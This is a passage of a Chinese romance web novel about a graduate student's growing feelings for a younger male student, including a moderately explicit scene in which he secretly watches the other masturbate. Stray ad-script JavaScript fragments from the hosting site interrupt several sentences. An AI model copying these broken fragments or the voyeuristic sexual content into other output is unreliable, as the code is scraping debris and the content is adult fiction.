“老师,还有什么事要吩咐我的么?” 自己的导师已经六十多岁了,偏瘦小一些,是个研究应用语言学的老头儿,说话不急不缓的,但这次对着陈艾卅似乎挣扎了许久,才开了口,“小陈,最近我听到一些消息,不知真假。” 陈艾卅没有说话,他在等导师继续开口。 还能什么事,最近缠着自己的就是这件事了,比找工作还麻烦。 “你究竟是怎么想的,我不评判什么,”导师皱了皱眉,“但是你快毕业了,那孩子还是留校的,你有没有想过他怎么办?” 什么跟什么。 陈艾卅心里嘀咕,难道不是声讨自己莽撞上学校论坛的事吗,怎么好像开始责怪起自己来了一样。 “我知道你形象好、谈吐不错、也有个性,容易受人喜欢,但那个男孩子命苦,你要只是找找新鲜,还是不要招惹他的好。” 这会儿陈艾卅才咂摸出导师真正想说的。 可他大学里也就谈过一个女朋友,哪来的找新鲜的说辞?好像一副情场老手的模样。 “老师,你误会了,我……没有和童宽谈恋爱。” “还说没有?”导师的语气突然急了,“我爱人都跟我说了,你们现在住一个宿舍,前两天还被人拍了照发学校论坛了,你别跟我说你不知道,抱在一起了都!” 不说他都忘了,师母是他们学校计算机系的教授。 “真没有,”陈艾卅一下没忍住笑了出来,这空穴来风的事儿,没想到在导师这儿给串起来了,本来还挺紧张的,这会儿倒放松了,站起来直接往导师边上的位子那坐下,两条腿随意地敞着,“我就是帮他点小忙,他跟他们宿舍的人不对付,老不回宿舍也不是个事,我们宿舍那几个人都回家了,正好空着。” “真的?”导师将信将疑。 “真的,”陈艾卅又补了一句,“我喜欢女孩子的。” “行,有你这句话我就放心了,”导师总算是语气平和了,才向陈艾卅解释道,“童宽是你师母 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得意门生,天赋很高,无奈命不太好,你师母三番五次想帮他,他都拒绝了,说自己能行,拗不过他,就让他去了。” 陈艾卅突然有点儿好奇,也有点犯贱,直接问了他一句,“导,问你啊,我怎么就不能招惹他了?” 导师瞥了他一眼,冷笑了一声,“法语系的系花你就谈了三个月,你以为大家都看不着啊。” 哦,原来是斯昀,斯昀是法语系系花啊?陈艾卅从来没注意过。照片的事还是斯昀提醒的他,他觉得还是有必要谢谢她的关心,顺便剔除她一些不太合适的假想才好。 出了导师办公室,陈艾卅坐了电梯到一楼,找了个角落里的会客沙发坐下了。 刚刚说出口的“我喜欢女孩子的”,好像就一直在给自己催眠一样,他觉得现在立刻马上要找个女孩子聊聊。 陈艾卅打开斯昀的聊天框有点急切,上次的聊天记录还停留在斯昀上次跟他开的最后一句玩笑上面,再往上挪一点点就能看到自己和童宽在花园里拥抱的样子,鬼使神差地,陈艾卅还没有给斯昀打上一句话,反而把那张照片保存了下来,他用两个手指点着这张照片,向两边挪开,他还没有好好打量过着张照片里的样子。 自己从上往下抱着童宽,月光很亮,他T恤的背面都被自己揉皱了,童宽仰着脖子,下巴堪堪抵在自己肩窝这儿,满脸被一抔月光柔化了,眼睛是睁着的,表情里带着一点儿错愕,自己当天晚上感受得不真切,童宽应该没有回抱他才对,可陈艾卅在这张照片里发现了,他的两只手浮在空中,虽然说连手肘都没有碰到自己,但这个动作让陈艾卅的心里一顿,就好像开车直行过红绿灯的最后几秒,突然要向右拐了一样,陈艾卅眉头微蹙,童宽当天晚上是想回抱自己的,只是没有把这个动作做完全。 他到底还是给斯昀发了个消息过去。 “看到了,谢谢提醒。” 没想到斯昀竟然给自己回了个电话。 “Issac,所以是真的吗?” 这是第一个来向自己求证真伪的人,陈艾卅有些意外,挑了挑眉。“你怎么认定照片里的人是我?” “你还是这么聪明,”斯昀在那笑得声音很好听,又带了些暧昧,“是不是你,我一眼就能看出来。” “你觉得是真的吗?”陈艾卅又继续反问道。 “你怎么让一个问问题的人来回答呢,我看……”斯昀停顿了一下,“不太像真的。” 陈艾卅没说话。 “也不太像假的。”她又补了一句。 “学姐真高深啊,我都快听不懂了。”陈艾卅哑然。 “不过呢,就像我说的,别人也不在乎你们是不是真的。”斯昀已经换上了一副比较正经的语气,“有话题就行了。” 陈艾卅觉得好笑,“用来下饭?” “哈哈,是啊,用来下饭。”斯昀的话语里添了些关心,“别让自己成为别人的下饭菜,为你好。” “谢谢学姐。” 这一通电话打得陈艾卅闹心,斯昀在点他,他知道。 他也不想成为别人的下饭菜。 可童宽好像已经不是这些人眼里的菜了,是时不时就会提起,两三天吃不到就烦的白米饭。 怎么会有人舍得伤害这样的人呢?陈艾卅想不通。 看着西沉的红日,他又叹了一口气。 傍晚了,今天给童宽带炒米粉吧。 食堂就在眼前,可他却往东门那边走了过去。 马路对面的那家炒米粉特别好吃,他想让童宽也尝尝。 15. 夜莺 等陈艾卅买完米粉到宿舍,已经将近七点了,今天他没和童宽说回来吃晚饭,本来是想给他一个惊喜的,可没想到童宽这会儿却不在宿舍里,陈艾卅没由来地有些失落,他把炒米粉放到了童宽的桌子上,想拿起手机问问他什么时候回来,可又觉得自己没什么立场,于是作罢。 可这晚上接近九点了童宽还没回来,陈艾卅开始担心了。 上次童宽没及时回来,是在宿舍里碰到了李非,他还记得童宽在李非手里整张脸快透不过气的样子,已经很晚了,童宽会去哪儿呢?他本来是想一个电话直接拨过去的,犹豫了下还是给他发了微信。 陈艾卅本来打的是,“在哪儿呢,很晚了。”可这话一出来陈艾卅就感觉有些不对劲,像盼着他回来似的,又好像等他等了很晚,思来想去还是保持住了大哥的人设,就打了两个字过去。 “人呢?” 童宽倒是很快回复了过来,“超市呢卅哥,理货。” 悬着的心落了下来,这小子总算让自己放心了一回。 理应是要洗澡睡觉的,陈艾卅不知怎么的打了个嗝,觉得晚上好像吃得有点饱,可目光又落到了童宽的桌上,这一碗炒米粉是不是凉了,宿舍里没法用微波炉,可超市里有,这炒米粉今晚不吃的话就会坏了吧,给童宽把炒米粉送去的念头起了就怎么都压不下去了,在洗澡和外出之间的犹豫中果断选择了后者,又安慰自己说就当饭后散步了,就算回来得晚和校管打个招呼进宿舍区应该没什么问题,心里头的坎儿过完了,陈艾卅的鞋已经穿好了,他右手食指勾着炒米粉的塑料袋耳朵,只拿了钥匙和手机,就出了宿舍门。 初秋的夜里有一些凉,这股凉意贴在短袖袖口里露出来的胳膊上,晚上的空气带着些青草树木的味儿,闻着还有些上瘾,陈艾卅用力吸了两口,好像要把这股清晰都灌进肺里,也不知怎么回事,越接近超市,越觉得心痒,明明是梧桐该落叶的时节,总觉得有絮在空气里飘。 教育超市里的灯早就关掉了,在夜色里也看不清那门头到底是什么颜色,就只有左边一盏昏昏的路灯亮着,在左下角照出了半圈红色,缀在整个夜里,特别扎眼。超市外的那棵梧桐此刻见不着青灰和乳白相融的树干,只有比夜空更深色的黑,像一个巨大的魔爪,冲着四面八方伸展,连平日里觉得大片大片的梧桐叶,都成了黑色的羽翼,一阵风吹过,好似要把这课梧桐树连根拔起,直直扎进陈艾卅的心里才能纾解难耐的、钻进了骨头缝里的痒。 关灯了,打烊了,陈艾卅没有直接朝着正门走过去,而是慢慢走到了边门这,边门留了一条缝,缝里只有黑,什么都没有,陈艾卅忍不住咽了口唾沫,朝里面望去,这才想起来童宽的台灯已经拿回了宿舍,可仓库里本来也应该有灯,理货的话,为什么不开呢,这话一反过来想,陈艾卅就更好奇了,不开灯的话,是没在理货吗,童宽到底在不在这? 手指轻轻挑开了门缝,大一些了,能容一个人进去了,陈艾卅轻手轻脚地往里走着,拎着炒米粉的手不禁攥紧了,生怕它磕到什么闹出声响,陈艾卅的心都提了起来,他不知道在做什么,可他就是想往里走,想看看这黑暗里到底有什么。 喘息声传来的时候,陈艾卅瞪大了眼睛,明明在黑暗里什么都看不到,但童宽红着脸的样子突然就跳到了眼前,薄薄的唇、红润湿漉,他突然浑身抖了一下,明明应该马上离开的,但他这会儿跟着了魔似的,又往里挪了一步,他发现竟然自己想听得再真切一点,甚至心里头有一股陌生的怒意涌了上来,他想看看童宽到底是和谁在仓库里做这档子事。 可辨别了快一分钟,陈艾卅还是没有听到另一个人的声音,连不一样的呼吸都没有,只有童宽一个人不稳的气息。又过去了两分钟,他听见了童宽的呜咽声,应该是咬着嘴唇发出来的,像是没有抑制住溜出来的声音一样,陈艾卅的眉头也拧紧了,到底他在和谁……难道又是…… 想到这里,陈艾卅又往前走了几步,前面就是货架了,地上散乱着各种硬纸板,再往前走一定会被童宽发现的,只好偏了偏脑袋从货架边上朝里看过去—— 先是看到了掉在地上的手机,屏幕朝下,但背面开着手电筒光源。 接着先入眼的是童宽一直穿的运动鞋,简单到不能再简单的米白色,接着是白色的袜子,袜筒就正好到脚踝那儿,脚踝骨圆圆一小个,但被从下往上的光源上打着还是在最上方落下了浅浅的一层阴影。 童宽的腿敞着。 小腿肚被手机的闪光灯照亮了,后膝弯曲的地方有一条好看的弧线,陈艾卅又多探了些脑袋,到底是好奇还是窥探,他不想去思考了,再往上是童宽的一条白色五分裤,这会儿本来应该要在腰这里绑着的松紧带落到了大腿上,分开的双腿并没有绷直裤腰,反而像挂在左腿上似的,陈艾卅这会才明白,童宽的右腿不在裤腿里。 再往上,陈艾卅就看得不真切了,手机闪光灯到底有限,他看到了童宽平坦的小腹,即使应该是坐躺着也没什么赘肉,童宽的身下是上次没收走的床,墙上由手机灯光照出来的童宽的右手,有节奏地上下挪着,这个频率好像也在挠陈艾卅一样,一下下地、把陈艾卅脑子里的刚刚的愤怒一点点清空,又换了点别的进去。 没有别人,只有童宽。 心里刚刚有些放松,可童宽又一声忍不住的喘把他的心思拽紧了,好像整个人被提了起来一样,他从没问过童宽来自哪里,但每次和他说话都是乖巧的、掺着些活力,这会儿的乖巧成了耳朵里的纤细,活力变成了烧红了的烧火棍,一路从眼前烧到胸口里,这些喘息,在压抑的时候,更让人浮想联翩。 陈艾卅往后退了退,没再继续看童宽,他只是在做一件男生之间再正常不过的事情,这有什么好大惊小怪的,责怪自己惊奇的同时,陈艾卅还是退到了门边,他觉得他不能走,他不想让别人发现现在的童宽,要是再来个有心人,肯定又会往学校论坛上送。 他从里头把防盗门往回拉了拉,拉回了原来的缝隙。 陈艾卅就这么靠在门边,像守卫一样为童宽站岗。 童宽的呼吸太乱了,抑制不住的喘息速度快了起来,飘出来的呜咽声像夜莺一样,从仓库的里面往陈艾卅这里飞过来,他几乎想用手去接住,他甚至开始想象童宽现在的样子,从下往上,刚到了童宽的锁骨这,陈艾卅就自控地停住了。 疯了吗!! 我在干什么?!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我在想什么!? 他只不过,只不过,只不过在—— 仓库里头的声音更急了,闪光灯的亮没有从里头透过来,空气里应该是有粉尘的,应该还有些硬纸板的粗糙味道,怎么此刻全都闻不到了,他弄不清这浓重黑色里裹挟的泛着甜腻的清新薄荷味是哪里来的,好像是随着里头的声儿一起传过来的,跟浪一样,每响一声,气味就更浓郁一些,层层叠过来,几乎要把陈艾卅淹没。 他想逃,可他更不想走。 他丝毫不相信自己的定力。 身体的反应比吃烤肉那次还要明显。 幸好没开灯。 幸好没人发现他。 里头的人好像在攀一座高山,喘得都快断了。 好像要到山顶了—— 站着的陈艾卅心跳跟打鼓一样,又快又重。 “哈……卅哥——” 一记闷雷砸到了陈艾卅脑袋里。 童宽发现自己了!? 不可能。 刚刚那个距离都没发现。 答案呼之欲出,陈艾卅却乱了。 “我是喜欢男生的,卅哥。” 陈艾卅才知道,童宽在说这句话的时候,其实是在提醒自己。 他是喜欢男生的,而自己就是男生。 自己帮他一次又一次,根本没把他这句话当回事。 以前在宿舍里也撞破过室友做这档子事儿,大家都心照不宣,挺正常的,都是年轻人,谁没那点心思。 陈艾卅也不知道这次有什么不一样,但就是不一样,说不出来,咽不下去的不一样。 嘴里渴,心里痒的那种不一样。 越想越渴,越挠越痒。 手里的炒米粉似乎有千斤重,陈艾卅就快拿不住了。 他推开门走了,想了想又把门缝恢复到了原来的样子。 假装他没来过一样。 这种心思起了几乎没办法压下去,满脑袋的欲念,刚刚的秋风刮在身上已经感觉不到凉了,变成了刮胡子的剃刀,刮过去一阵,破了的危险就多一分。 陈艾卅一个人走到了上次拥抱童宽的花园里,把炒米粉放到了石桌上,自己坐上了石凳。 他打开手机想联系斯昀,他不知道此刻想证明什么。 看着自己在对话框里打出的那一句话,陈艾卅简直想扇自己一个巴掌。 “陪我睡一觉。” 他已经对童宽起了两次反应了,那他是不是也喜欢男人呢? 他脑子里努力地在回忆以前与女生的纠缠,长发、滑腻的肌肤、柔软的触碰、火热的湿润…… 可再怎么思考,都被那一句在脑子里久久回荡的“卅哥”截住了。 陈艾卅仰起头,皱着眉,胸腔里有一股火,宣之不出。 憋死了、憋死了……憋死了!!! 今夜没有月,灯也熄灭了,整个花园都是暗的。 他删掉了落在斯昀对话框里的几个字,又骂了自己一句。 接着拿出了塑料袋里的筷子,就这么在暗色里,大口大口吃掉了那碗已经凉透了的炒米粉。 祈求这股凉意把邪火顺下去。 16. 甘心 正行驶着呢,火车的灯突然暗了,乘客们陷入了黑暗里。陈艾卅不知道别人是什么表情,他自己是笑着的,他想到了那次撞见童宽第一次想着他沉浸时候的样子,也是在这样的黑暗里,虽然根本没看清童宽的脸,可他们之后在一起的无数次,童宽脸上的潮红、难耐、甘心、催促、享受,没有一个表情是陈艾卅不喜爱的。 陈艾卅后来向童宽坦白过那天晚上的事,即使那会儿已经确立了恋爱关系,童宽的脸还是不由自主地全红了,陈艾卅看着心里又开始发痒,抱着童宽吻了许久,又恬不知耻地问撞见的那次是第几次,童宽怎么也不肯告诉他,只跟他说“卅哥别逗我了,我不经逗”,惹得陈艾卅心里又酸又软。 童宽确实不经逗,看着阳光挺立的大男孩模样,又怕痛又怕痒,敏感得很,还容易在皮肤上留痕,每次亲热过后,童宽白皙的脖颈上、纤纤锁骨周围、胸口、腰间、腿上,哪哪都是陈艾卅留下的痕迹,明明没有那么激烈,可他身上却好像挂了彩一样,陈艾卅还和童宽开玩笑说,这个动静就算去告诉别人陈艾卅家暴,至少60%的人会信,童宽听了咯咯直笑,说了一句“卅哥,你太小看自己了,至少90%”,给陈艾卅惹得又带着点儿火又带着点儿诱,硬是拖着童宽再来了一次。 黑暗里除了情动,还有童宽的害怕让陈艾卅印象深刻。那会儿两人刚搬到那个临江的公寓楼里,都对新屋子不熟悉,陈艾卅适应环境很快,基本不需要什么心理建设当天晚上就能在新家里睡着,童宽不行,童宽是个特别恋旧的人,他会随身带着一块毛巾帕子,这块帕子是他从孤儿院里就带出来的。 童宽说自己不是生出来就在孤儿院的,是被人用篮子装了起来,篮子的底部就有那块方帕子,养他的阿姨跟他说,他刚来的时候篮子里还有十个鸡蛋和一块银制的长命锁,长命锁不知是谁拿了,帕子却留了下来。他跟陈艾卅说这些的时候声音很轻,好像在说上辈子的事一样,浅浅淡淡的,好像一点感情都没放进去。他说他很小的时候就知道有些事能做,有些事不能做,不能做的事情做了,会被阿姨惩罚关禁闭,虽然可能只是短短短的半小时或者一小时,但对于他们这些时间观念还不是很健全的幼儿来说,的确是一种折磨了。 童宽被关禁闭的时候也不闹,安安静静的,就是出来的时候脸上眼泪鼻涕都冒了出来,阿姨还问他怎么哭也不出声儿啊,童宽就要摇摇头不说话,等着可以摸着自己的小床了,就把枕头底下的这块毛巾帕子拿出来,叠得四四方方的,像一块厚厚的豆腐干一样,放在枕头上。他和陈艾卅说,每次侧过来睡的时候,看到黑夜里有这块帕子在,他就知道自己还活着,他有的时候会亲昵地亲亲这块帕子,陈艾卅问他院里没有玩具吗,童宽就露了个淡淡的笑说,玩具是院里的,这块帕子是他自己的,是他自己带来的,对他来说就跟伙伴一样,听他说话、陪他长大。 后来身侧有了陈艾卅,童宽对这块帕子的眷恋就少了些,但他还是时常会拿出来放在枕头底下。陈艾卅闻过,那块帕子几乎没什么味道,就是家里的洗衣液的味道,上面的毛几乎都被磨没了,有的地方甚至已经露出了针织的纹路,但他知道,这是童宽与这个世界的纽带,是他在这个世界上的一把安全锁。 陈艾卅深深叹了口气,依着童宽的性子,他一定会在出发前把这块帕子带在身边的,可他去林子里的时候带了吗,想到这里陈艾卅几乎头痛起来,他快恨死自己了。他明明知道,自己是童宽在这个世界上的第二把锁,自己还亲手把这把锁砸烂了,还对着他扔了过去,他觉得自己实在是比不上一个死物,死物尚能坚持,为什么人那么难?!自己又有什么立场什么理由苛责童宽,童宽只是相信他而已,可陈艾卅觉得是童宽错信了自己,所托非人,自己就是那个非人! 火车的车灯还没有亮,车厢里只有亮着的手机屏幕,都四四方方的,映照着拿手机人的脸,陈艾卅突然觉得特别难过,好像面前的这些人的手机里都有牵挂的人,而他们牵挂的人都会给他们回应,而自己牵挂的人现在是不是还活着都不知道,他希望这个夜快一点结束,这样童宽就不必在夜里怕黑,可他又害怕这个夜很快结束,这样就又要过去好几个小时。现在,时间对于童宽来说,每一分钟都是变数。 在黑夜里,陈艾卅眼神空茫,又露出虔诚,即便他痛恨老天爷给予童宽痛苦,他还是不得不停下来求它,求它给童宽一条生路,如果一定要换取些什么来攒到这份好运,他愿意付出所有。童宽都没有了,他要所有干什么。他又动了别的心思,想着当初是不是听导师的话不招惹童宽就好了,人家何至于此?陈艾卅露出了痛苦的笑,又深深、深深叹了口气。 撞破童宽的秘密后,陈艾卅努力保持着一个保密的人。 但童宽对于自己来说,意义已经变了,他成为了一个让陈艾卅动摇的人。 他在看童宽的时候已经不能保持一个“友好的学长”这样的身份,有的时候童宽对着他笑的时候,陈艾卅会下意识回避,他莫名其妙的恐慌更加坐实了心里滋长出来的异样。陈艾卅甚至弄不明白,这股异样到底是什么时候有的,是见到童宽的伤的时候吗,是让童宽住过来的时候吗,是知道童宽喜欢男生的时候,还是第一次见童宽的时候。 这种异样就和咳嗽一样,越是压抑,越是强烈,非要大声、彻底、拼了命的咳上那么一两下才能舒坦。 可童宽对于自己的这种变化一点都不知道,还是会卅哥长、卅哥短地叫着自己,有的时候挣钱了,就会说带他去吃好吃的,陈艾卅怎么拒绝?陈艾卅没法拒绝,一个理由都没有,之前能答应的事,现在为什么不行了? 有的时候陈艾卅还会想,自己对于童宽来说,是什么样的定位。 学长?哥哥?好心人? 可那一声带着潮热的“卅哥”,陈艾卅还记得。 在情场上向来清清楚楚的陈艾卅,把自己编进了一个局,还是个哑巴局。 他知道,他不问,童宽绝不会说。 变着法儿提醒着自己,离他远点,反而自己越靠越近。 说到底,陈艾卅觉得自己到底是个中庸的人,即使拥有出色的仪表,他还是不想太扎眼,他享受带着荣誉的聚光灯,却不希望成为人们口中的谈资,他已经成为过别人的“下饭菜”了,他不想和童宽一样,成为别人嘴里时常会念叨起来的白米饭。 他开始频繁出现在图书馆,即使傍晚还是会给童宽带饭,也只是放了饭后再离开,他知道童宽在他背后有着欲言又止的表情,可他希望现在童宽什么都不要问,就让他先忙一会儿,把别的事提上来,这件事晚点再说。 “卅哥,你最近挺忙的,注意休息,晚饭我自己买吧,别再特意跑一趟了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我过意不去。” 童宽给自己发的消息明明是不想给他添麻烦,可陈艾卅却觉得不爽。 凭什么,叫着我的名字做的不是你自己吗? 怎么你这会儿要比我先叫停?! 这想法出来后陈艾卅愈发觉得自己疯了,自己怎么了,这种陌生的撕扯感。 但到底还是在童宽的消息下面回了一个“好”。 陈艾卅开始不在闭寝时间回宿舍,有的时候是直接回家,有的时候大半夜才回来,男寝门口的校管和他熟,说两句也就放他进去了,大多数时候童宽都已经睡了,偶尔一两次在看手机的时候也是轻轻和陈艾卅说上两句,就不多说什么了。 斯昀约陈艾卅见面的时候,他几乎没有犹豫,直接说今天就见,弄得斯昀还有些不习惯。 他们俩约在学校附近的咖啡店里。 “好久不见了,Issac,之前怎么约你都无动于衷,这次答应得这么快,我都不太习惯。” 陈艾卅喝了一口美式,他皱了皱眉,怎么今天的美式都不苦。“也不能老晾着学姐,我的问题。” 斯昀虽然念的是法语,今天走得却是新中式的派头,贴身的改装的淡香槟色旗袍,锁骨中间领子上方系了个盘扣,盘扣下却镂空了个圈,嫩白的肌肤就显了些出来,披着个用珍珠串起来的外套,黑长直的发上嵌了个银色的发卡,整个人透出一股温婉的劲来,只有说话的两人知道,斯昀的热情奔放,很多时候让陈艾卅都招架不住,谈恋爱时的主动,和分开后似有似无的撩闲,桩桩件件都说着这姑娘不简单。 “这么着急约我,是有事吗?”斯昀端起了面前的特调喝了一口,眼眸往陈艾卅的方向上转了一下。 陈艾卅笑了一下,“没有,没事才约学姐,有事约的话像什么样子?” “饿啦?”斯昀凑过来对陈艾卅眨了眨眼睛。 他知道斯昀什么意思,摇了摇头,“上次的事还没谢过你。” 斯昀有点失望,把玩着指甲,嗔怪了一声,“还以为Issac惦念我,果然我还是一厢情愿了么。” 和斯昀恋爱的时候,两个人进程很快,斯昀热情又熟稔,陈艾卅青涩但大胆,没多久,两人该发生的都发生了,陈艾卅还记得斯昀说想不到他在床上这么凶,当时陈艾卅权当夸了,这会儿却有些泛酸。 如果是和童宽的话,他一定都慢慢来。 陈艾卅被自己的这个想法吓到了,立刻回了斯昀一句,“学姐别开我玩笑了。” “你还真不如你看上去那么多情呢,”斯昀也不在乎,陈艾卅不走心她不是第一天知道了,“心情不好找不到人说话?” 听着这话陈艾卅抬了抬眼,没有说话。 “你那个精灵小弟呢?”斯昀问。 “精灵小弟?” “一直跟在你屁股后面的,”斯昀笑得有深意,“怎么不见他?” “我们也不是时时刻刻在一起啊。” “什么话不能和你的小弟说,偏偏要喊我,Issac?”斯昀又喝了一口咖啡,“跟他有关?” “没有。”陈艾卅说得痛快,心里却升腾起一股烦躁来。 斯昀还是笑着,手指拈着咖啡杯,不轻不重的样子透着股风情,落下的话却炸在了陈艾卅的耳朵里。 “做同性恋很辛苦的。” 17. 觊觎 陈艾卅拿向咖啡的手没有停顿,半点看不出不自然,可心里跟投了个惊雷一样,他不知道斯昀看出了些什么,女孩的第六感他向来敬畏又忌惮。把杯子里的最后一点咖啡喝完后,陈艾卅笑了一下,带了点吊儿郎当的意思,对着斯昀说:“学姐怎么老觉得我换口味了,这么不自信,不像你啊。” 斯昀也笑了一下,“在你面前自信有用吗?” “没有吗?” 对于这种对话间的拉扯,陈艾卅从不在下风,有的时候他甚至有些享受这样推杯换盏的对话,他感觉是一场智力和说服力的较量,就好像两个人都走在海边,互相看谁的脚会先湿一样。 “Issac,我有没有说过我们为什么会分手?” “你说我不走心,”陈艾卅双手交叉放在桌子上,人往前一倾,凑得离斯昀近了点,“时至今日,学姐还有什么补充吗?” 斯昀也不介意他这样的表现,反而手肘放到了桌子上,手掌撑着下颚,对陈艾卅眯了眯眼睛,“你从来没正经回答过我问题,也从来对我没有疑问,你对我只有恋,没有爱。” 说到这个,陈艾卅倒也有些不甘示弱,直接挑眉笑了一下,“学姐,别逗了,好像你缺爱一样。” “我不缺,爱我的人太多了,可那个小男孩缺。” “他会把你当成救命稻草。” “你在我这能全身而退,是因为我允许你全身而退。” “他呢?” 这几句话把陈艾卅砸得边儿都找不着,他赶紧叹了口气,伸出一只手叫停,“学姐学姐,斯老师,停停。我怎么听着你就直接把我定性了?” “陈艾卅,你知道学校里都怎么说你吗?” 斯昀鲜少有叫陈艾卅中文名的时候,只有在他实在不听劝的时候才说一句,而现在,他不听劝的痕迹就多了起来。陈艾卅一顿,下一刻就笑了,虽然在笑着,可表情却掺杂了些冷漠。 “怎么说我的?” “说你被他迷晕了,帮他还钱,给他腾地方住,还给他带饭。” 陈艾卅听着眉毛就皱了起来,连带饭这种细节都知道,真是吃饱了撑的,说出话的口气就更难听了,“所以呢?” “还需要什么所以吗?不够明显吗?”斯昀的声也冷了下去,“我是提醒你,别以后传出去我交过的男朋友里有个Gay,到头来还来我这八卦。” “斯昀,”陈艾卅的笑里越来越带了些玩味的意思,也不知道是在跟谁发脾气,“我有没有跟你说过,你以自我为中心时候的样子,特别不好看,我对只有恋,你呢?把我当什么?里程碑?好不容易拿下了那个拒绝了无数个人的陈艾卅?” “你——!” 这次和斯昀匆忙的见面不欢而散,他从来没有在女生面前这么有失风度过,还是在名正言顺的前女友面前,他知道斯昀来和他聊的目的是提醒他,让他自己注意着些,别因为自己一些正常的情绪表现而影响了自己的判断力,风言风语可从来不会疼惜人,想到什么就是什么了,有的时候根本也不需要看,胡乱诌一个,只要自己顺了自己的想象,就足以有传播下去的动力。 可要不是斯昀说得句句真切,陈艾卅也不会生气。 明摆在眼前的,多年前就与自己分手了的洒脱学姐,都对自己始终持有暧昧,他想不到,如果童宽真的对他动了心,到底要怎么做,才能在保住他不受伤害,并且能把自己的这些行为解释清楚。 陈艾卅叹了口气,解释得清楚么,他自己都不知道。 好在这个问题陈艾卅没困扰多久,工作的事儿有了眉目,他忙得几乎没空去思考这个问题,他比较有倾向的一家面向全球提供环保纸类的公司邀请他去面试,从笔试开始一直到最后的区域总经理面试,一共有5轮,并且都在两个星期内完成,于是他忙得几乎脚不沾地,连宿舍都没回,基本都是直接回家弄,忙着调研行业资料、忙着调研公司资料、忙着做Q&A演练、忙着做自己Presentation的PPT,面到最后一轮,身边的人越来越少,陈艾卅几乎要脱力了,HR最后告诉他回去等消息的时候,他走出办公楼几乎有一种出狱的感觉,但又有一种雀跃,几乎要跃出来,迫不及待想与人分享。 再回到宿舍的时候,陈艾卅没见到童宽。 上哪去了呢?他们也不是今天开组会,平时这时候也没在教育超市收银。 是不是和林琦换班了? 他揣着一些疑问,拿了件外套就慢慢悠悠地往教育超市的方向走,秋风好像更凉了一些,他拢了拢敞开着外套,想把凉风都隔绝在外套外边。 走近的时候,却发现梁臣在超市里搬货,陈艾卅有些好奇地走了进去。 梁臣见着陈艾卅,一个惊慌,手里的货一松,一整箱红烧牛肉碗装泡面掉了出来,还带了货架上的其他物件一起散了下来,林琦应该是听见声儿了,人还没到,声音却从仓库里吼了出来,“我就说不要你弄,你非要逞这个能干什么?你看看——” 林琦见到陈艾卅的时候,也止住了话头,“学、学长。” “学长。”梁臣也跟着林琦喊自己。 陈艾卅突然有了当爹的感觉,不自然地“啊”了一声。 “忙什么呢?”但还是他打破的沉默。 “那个……”梁臣不自然地咽了口唾沫,“我帮她搬货,太重了。” 林琦一整个就不乐意了,“我让你搬没,你自己要搬的,本来我自己弄顶多慢一点,现在好了,捡就够麻烦的了。” 什么情况? “对、对不起。”梁臣对林琦表达着歉意。 可在陈艾卅看来,平时这个聪明伶俐的学弟,这会儿就跟个憨包一样,在外联部的时候,他可从来没露出过这副表情,不然陈艾卅也不能把下一任部长的位置交到他的手上。陈艾卅这会儿才发现,觊觎一个人,其实并不需要特别突出表现什么,一举一动都看得特别清楚。 他今天来不是为了八卦的,直接问了林琦一句,“童宽呢?” “宽哥?”林琦回答道,“不知道,最近我都没怎么碰到他,他也每次是卡着点来,没多聊。”紧接着林琦突然有些紧张,“学长,宽哥怎么了吗?” 失落感是从胃里先冒出来的,然后慢慢随着血液的流动灌满了全身,他记得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 离开教育超市前和林琦说了声没什么,就是路过随便问问,但陈艾卅知道,自己的表情看起来一定不像表达得这么轻松,可他好像没有多余的精力去掩饰了。 火车上的灯亮了,并不是特别刺眼的白光却晃得陈艾卅睁不开眼睛,他用手掌遮住了双眼,热度从手掌渡到眼皮上,眼睛有了些放松,可他还是不困,手掌拿下来的时候,他盯着自己的手心看,眼睛似乎要把掌纹重新描摹一遍。 他记得有一回冬天,他和童宽一起去偏北的一个地方旅行,入了冬就会下鹅毛大雪,挂在松树枝上特别好看,童宽就说他小时候待着的院子也偏北,可没有那么大的雪,只是极冷的时候会飘下来一些像冰碴子一样的小雪粒,陈艾卅就从他的眼睫毛上擎下一颗雪珠子,放到他面前问他,是不是比这个还小,童宽就对着他的手指头吹了口气,一边说着“卅哥你真幼稚”一边把着自己的手臂往前拖着自己走。 到了酒店后,暖气升腾起来,童宽额前的头发就渐渐湿了,贴在了他的脑门上、太阳穴上,陈艾卅拿了条毛巾就来回擦他的脑袋,童宽的小虎牙就在自己面前晃。双双洗了个热水澡后,童宽和自己两个人赤条条的躺在床上,因为前面是雪原,两个人就没拉窗帘,无尽的白色下,童宽慢慢抓起了陈艾卅的手,和他贴在一起,贴了一下好像不太满意,又拿着他的手对准了陈艾卅的掌心贴在了一起。 “在干嘛呢?”陈艾卅问。 “把我生命线的起初,放到你的生命线上。” 童宽说得很轻,陈艾卅听见了,他五指慢慢收紧,直到扣住童宽的手。 “卅哥。”童宽突然叫他。 “嗯?” “我的生命好像是从遇到你开始的。” 陈艾卅就直接侧过头吻了过去,不带情欲的,温暖的、安慰似的,缓缓吻着童宽的唇。 现在的陈艾卅依旧看着自己的掌纹,可手上却没了童宽的手。 他觉得自己就像刽子手一样,两个本来用强力胶水粘在一起的两个人,自己几乎生剥活吞,就是他,就是他自己,拿了一把锋利的刀,从本来连接着的两个人的手掌中间劈了下去,见血了、见骨了,这会儿才知道疼了,疼得陈艾卅背都快直不起来了。 当天陈艾卅到底还是遇见童宽了,在第三食堂的三楼,还是要了一份肥牛盖饭,转过身的时候,他看见童宽和另一个男生坐在一起,他们没有面对面坐,而是一起坐在了沙发的这边,童宽的电脑展得很开,但从陈艾卅俯视的角度还是能看清楚他俩的脸。 童宽和那个男生好像在聊什么,说个几句就要笑起来。 陈艾卅突然感受到了背叛,他想起了草坪上的那个女生。 自己当时都没把联系方式留给被别人,童宽,你又凭什么!? 凭什么背着我?和别人坐在一起。 他本来是想直接走的,可食堂阿姨的一声喊,把童宽的脑袋也一起吸引了过来。 “陈同学——!你的肥牛盖饭好了!” 